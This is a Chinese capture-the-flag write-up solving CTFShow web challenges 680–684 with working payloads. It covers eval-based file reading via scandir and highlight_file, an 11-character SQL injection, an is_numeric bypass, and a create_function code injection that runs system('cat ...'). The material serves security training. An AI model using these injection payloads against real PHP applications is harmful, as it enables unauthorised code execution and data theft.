CTFShow 大赛原题

web680

打开如图所示:

如图所示:需要post提交 code=xxxx

提交:

1
code=phpinfo();	

得到了 phpinfo信息,查看关键信息:

  • 没有直接flag
  • allow_url_fopen,allow_url_include 为On
  • disable_functions :禁止了常见的函数。
1
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir

我们需要Index.php的源代码:

1
code=highlight_file("index.php");

如图所示可得源码,就是一个 eval 函数。既然如此何必不直接 highlight_file(“flag.php”)呢?想法是对的,但是没有flag.php文件。

接着我想试试重定向写个马进去,但是不行。

到了这里,我们急需知道当前网站目录下有何文件。

当尝试使用 scandir()函数,发现可行.

1
2
3
4
5
6
code=var_dump(scandir('./'));
code=var_dump(scandir("glob://*")); // 均可,多选一
code=$a=new DirectoryIterator("glob:///*"); // web72的方法。
foreach($a as $f){
echo $f." " ;
}

https://www.ohhhhhh.top/2021/07/22/CTFShow-Web%E7%AC%94%E8%AE%B0/#web72%E2%80%94%E2%80%94%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

如图所示,显示出了当前目录下的文件,其中有 secret_you_never_know 文件,那么只要读取此文件那就八九不离十了。

方法一:

既然secret_you_never_know此文件在网站目录下,直接访问即可下载:

http://e3ea6102-34cd-4546-9cab-7311d786b921.challenge.ctf.show/secret_you_never_know

如图所示,将其下载下来,打开为flag。

方法二:

不下载,直接 highlight_file()即可

1
2
3
code=highlight_file("secret_you_never_know");
code=show_source("secret_you_never_know");
code=include("secret_you_never_know");// 均可,多选一。

如图所示有 flag,highlight_file()能显示非php文件。

更多方法有待研究……

web681

打开如图所示:

点击登陆,随便登陆都为绿帽子

目录扫描

如上图所示发现了 .svn 泄露,访问将其下载下来

check.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-09-24 14:58:16
# @Last Modified by: h1xa
# @Last Modified time: 2021-09-24 16:04:49
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include "common.php";

session_start();

if (isset($_POST["name"])){
$name = str_replace("'", "", trim(waf($_POST["name"])));
if (strlen($name) > 11){
echo("<script>alert('name too long')</script>");
}else{
$sql = "select count(*) from ctfshow_users where username = '$name' or nickname = '$name'";
echo $sql;
$db = new db();
$result = $db->select_one_array($sql);
if ($result[0]){
$_SESSION['hat'] = 'black';
echo 'good job';
}else{
$_SESSION['hat'] = 'green';
}
header("Location: index.php");
}

}

分析:

  • 其中有一句 sql 语句,很明显考察sql注入。
  • waf()可知有过滤。
  • str_replace() 将单引号过滤了。
  • 如果POST提交的name长度超过11将弹出 name too long.
  • 要黑帽子才对。虽说绿绿更健康😂,紧接着电脑启动Kali,居然绿屏了,真是绿的发慌!!!
  • 那么要sql注入,且长度不能超过 11,否则失败。

最终测试了如下:

1
name=or/**/1=1#\

如图所示得到了 flag.

web682

先放着

web683

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-09-24 17:34:28
# @Last Modified by: h1xa
# @Last Modified time: 2021-09-24 20:32:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include "flag.php";
if(isset($_GET['秀'])){
if(!is_numeric($_GET['秀'])){
die('必须是数字');
}else if($_GET['秀'] < 60 * 60 * 24 * 30 * 2){
die('你太短了');
}else if($_GET['秀'] > 60 * 60 * 24 * 30 * 3){
die('你太长了');
}else{
sleep((int)$_GET['秀']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);

分析:

  • is_numeric()函数检测变量是否为数字或者数字字符串。
  • 要求数字大于 60 * 60 * 24 * 30 * 2 且 sleep多少秒。
  • 一般看到 is_numeric()函数就会联想到 科学计数法 e.一般情况八九不离十就能成功。
1
?秀=0.6e7 //0.6 避免了数字太大,不然sleep会等很久。

如图所示得到了flag.

小节

  • is_numeric()函数特性。

web684

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

分析:

  • 在 php7 中新增了运算符 ??, 其功能与三木运算符是一样的?:
  • 正则表达式 匹配 字母数字下划线。
  • i 不区分大小写。
  • s 匹配任何不可见字符,包括空格,制表符,换页符。
  • D 如果设定了此修正符,模式中的美元元字符仅匹配目标字符串的结尾。
  • $action() 此处在将变量当作函数执行。
  • %09,%0a,%00,%5c 均可绕过正则,此处选择 %5c才能成功。
1
/?action=%0asystem

如图所示,的确绕过了正则匹配,但是当执行到第八行 $action()时报错了:Call to undefined function system() in /var/www/html/index.php:8 意思是没有定义 system这个函数。从这里告诉我们要自己写一个函数来运行。

  • 使用 create_function():此函数用来创建匿名函数。
  • create_function相当于
1
2
3
function a($a){
echo "test".$a;
}
  • 利用姿势 ?xx=;}phpinfo();/* or ;}phpinfo();?>
1
2
3
function a($a){
echo "test".;}phpinfo();/*;
}
  • ;}闭合了代码,/* 注释掉后面的代码,若部注释将不能正常解析代码从而导致不能运行。

  • ?> 同理可得,直接结束php代码。

  • payload

1
/?action=%5ccreate_function&arg=;}phpinfo();/*

如图所示payload执行成功。

1
/?action=%5ccreate_function&arg=;}system('cat /secret_you_never_know');/*

如图所示拿到了 flag.

小节:

  • create_function 的使用。
  • %5c 绕过正则匹配。